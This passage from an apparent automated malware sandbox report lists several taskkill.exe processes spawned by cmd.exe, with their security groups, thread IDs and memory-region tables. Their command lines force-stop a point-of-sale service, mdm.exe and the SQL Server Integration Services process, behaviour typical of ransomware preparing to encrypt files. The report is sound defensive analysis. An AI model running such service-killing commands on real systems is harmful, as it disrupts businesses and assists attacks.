lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #23: taskkill.exe
+
Information Value
ID #23
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM iikoNet.Pos.WinService.exe /IM iikoNet.Pos.WinService.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:25, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:10
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x108
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 3F8
0x 974
0x 994
0x 9A8
0x 9A4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x000cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x000d0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x0011ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00120000 0x00186fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x00190fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001b0000 0x001b0000 0x001b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x0024ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000250000 0x00250000 0x0028ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000300000 0x00300000 0x003fffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000400000 0x00400000 0x00587fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000005c0000 0x005c0000 0x005cffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000005d0000 0x005d0000 0x00750fff Pagefile Backed Memory Readable True False False
  • Region Actions
taskkill.exe 0x007a0000 0x007b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000007c0000 0x007c0000 0x01bbffff Pagefile Backed Memory Readable True False False
  • Region Actions
kernelbase.dll.mui 0x01bc0000 0x01c7ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000001c80000 0x01c80000 0x01cbffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ce0000 0x01ce0000 0x01d1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d20000 0x01d20000 0x01d5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d70000 0x01d70000 0x01daffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001de0000 0x01de0000 0x01e1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e20000 0x01e20000 0x01f1ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01f20000 0x021eefff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000022d0000 0x022d0000 0x0230ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002360000 0x02360000 0x0239ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023a0000 0x023a0000 0x023dffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a490000 0x6a4a7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a4b0000 0x6a545fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a550000 0x6a578fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a580000 0x6a5dbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a710000 0x6a71efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a720000 0x6a729fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8a0000 0x6a8aefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a8b0000 0x6a8c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6a8d0000 0x6a8dcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8e0000 0x6a914fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #24: taskkill.exe
+
Information Value
ID #24
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM mdm.exe /IM mdm.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:26, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:09
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x9ac
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 9B4
0x 9B8
0x 9BC
0x 298
0x 9F4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000070000 0x00070000 0x000affff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000b0000 0x00116fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00121fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00130000 0x00133fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x00377fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000390000 0x00390000 0x0040ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000410000 0x00410000 0x00590fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000005b0000 0x005b0000 0x006affff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x006b0000 0x0076ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000007e0000 0x007e0000 0x0081ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000890000 0x00890000 0x0089ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000008a0000 0x008a0000 0x008dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000980000 0x00980000 0x009bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000009d0000 0x009d0000 0x00a0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a10000 0x00a10000 0x00b0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b20000 0x00b20000 0x00b5ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b90000 0x00b90000 0x00bcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000bd0000 0x00bd0000 0x00c0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c60000 0x00c60000 0x00c9ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d10000 0x00d10000 0x00d4ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000d80000 0x00d80000 0x00dbffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00e10000 0x00e25fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000e30000 0x00e30000 0x0222ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x02230000 0x024fefff Memory Mapped File Readable False False False
  • Region Actions
fastprox.dll 0x6a450000 0x6a4e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a4f0000 0x6a5dafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a7d0000 0x6a7e7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8a0000 0x6a8d4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a8f0000 0x6a8f8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a900000 0x6a910fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #25: taskkill.exe
+
Information Value
ID #25
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:26, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:09
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa0c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A08
0x A04
0x A00
0x 9F0
0x A10
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000160000 0x00160000 0x0019ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x001a0000 0x00206fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000210000 0x00210000 0x0024ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x002fffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00300000 0x003bffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x004dffff Private Memory Readable, Writable True False False
  • Region Actions
